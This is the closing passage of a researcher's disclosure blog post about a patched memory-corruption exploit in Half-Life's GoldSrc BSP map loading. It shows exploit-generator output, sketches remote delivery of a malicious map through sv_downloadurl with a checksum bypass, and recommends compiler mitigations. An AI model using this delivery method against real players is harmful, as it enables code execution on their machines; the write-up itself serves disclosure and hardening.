  by @Digital_Cold

[+] Corrupting target file eip-minimized.bsp
[+] Writing to index buffer offset 0009e010...
[+] Vertex buffer indexes start 000a9174
[+] Vertex data at 00043f7c
[+] Wrote 2478632 byte exploit file to exploit-gen.bsp
[+] Copy to game maps/ directory!

Given that this vulnerability is now patched, it’s unlikely that this exploit will be of any use. Here is the exploit package that I sent Valve in my report. The shellcode and ROP chain are different, but the concept is the same.

Remote Exploitation

While developing this exploit I explored the idea of hosting it on a server. The only issue I ran into was getting the server itself to not crash when loading the map file. I came up with a possible method of hosting a malicious map file on a server.

Due to the map crashing the server, what about not letting the server load the map? Instead have it load the legitimate map and then have the client download the map via HTTP as configured by the sv_downloadurl in your server.cfg. This variable was created to alleviate the slow download speeds when downloading directly from the Half-Life Dedicated Server (HLDS). Maps and other resources can be hosted directly under any HTTP server, such as nginx or apache, which will improve resource download speed.

All we need the client to do is to start loading the map. At this point the vulnerability will be triggered and it won’t matter that the maps don’t match. Unfortunately map files are checksumed by the client and server (via CRC_MapFile). During the initial server connection, the client will compare its map checksum to the servers. If they don’t match, it will exit. I believe the approach to bypass this would be to modify the server binary to bypass or load a constant CRC value. I didn’t get this far, but I looked into it.

Half-Life Security Improvements

While developing the BSP exploit, I noted some key changes to the Half-Life GoldSrc Windows build process that would hamper future vulnerability impact and exploit development ease:

  1. Ensure that ASLR is enabled for hl.exe, steamclient.dll, and filesystem_stdio.dll
    • Impact: This will limit the number of fixed address ROP gadgets available to attackers without a corresponding ASLR break via memory leak.
    • Fix: Add /DYNAMICBASE to linker flags.
  2. Enable SafeSEH for all loaded modules, (hl.exe and filesystem_stdio.dll are missing it)
    • Fix: Add /SAFESEH to linker flags.
    • Impact: This will limit the use of Structured Exception Handler (SEH) exploits (which for this bug was possible due to unlimited stack overflow, leading to the corruption of on-stack exception handler function pointers).
  3. Enable stack cookies
    • Impact: Enabling stack cookies protects large, on-stack buffers, which is most likely common in the GoldSrc engine. Future buffer overflows would become more difficult to exploit with this mitigation enabled.
    • For the function with the buffer overflow, the usage of stack cookies (or canaries) would have prevented the straightforward saved return address hijack.
    • Fix: Add /GS (guard stack) to compiler flags.

Hopefully Valve takes my build environment modifications into consideration as it’s the cheapest and most effective way to improve the overall security posture of GoldSrc and other engines.

On Shared Code Vulnerabilities

After some digging, I found the source code for the vulnerable function, GL_SubdivideSurface. This function is apart of the original Quake engine and has been inherited by every derivative engine since its open source release! Who knows how many engines out there use this function internally.

Thoughts and Future Work

Finding bugs in Counter Strike was quite the process. Detailing out in writing makes me appreciate how many little details went into the whole process. This endeavor was primarily a learning experience for me and my first disclosure of a vulnerability. I certainly look forward to finding more interesting bugs and creating even more sophisticated exploits in the future. Follow me on twitter @Digital_Cold to keep up-to-date with any other interesting bugs or targets I run across or comment down below if you have any questions.

Special thanks to TobalJackson for proofreading this article.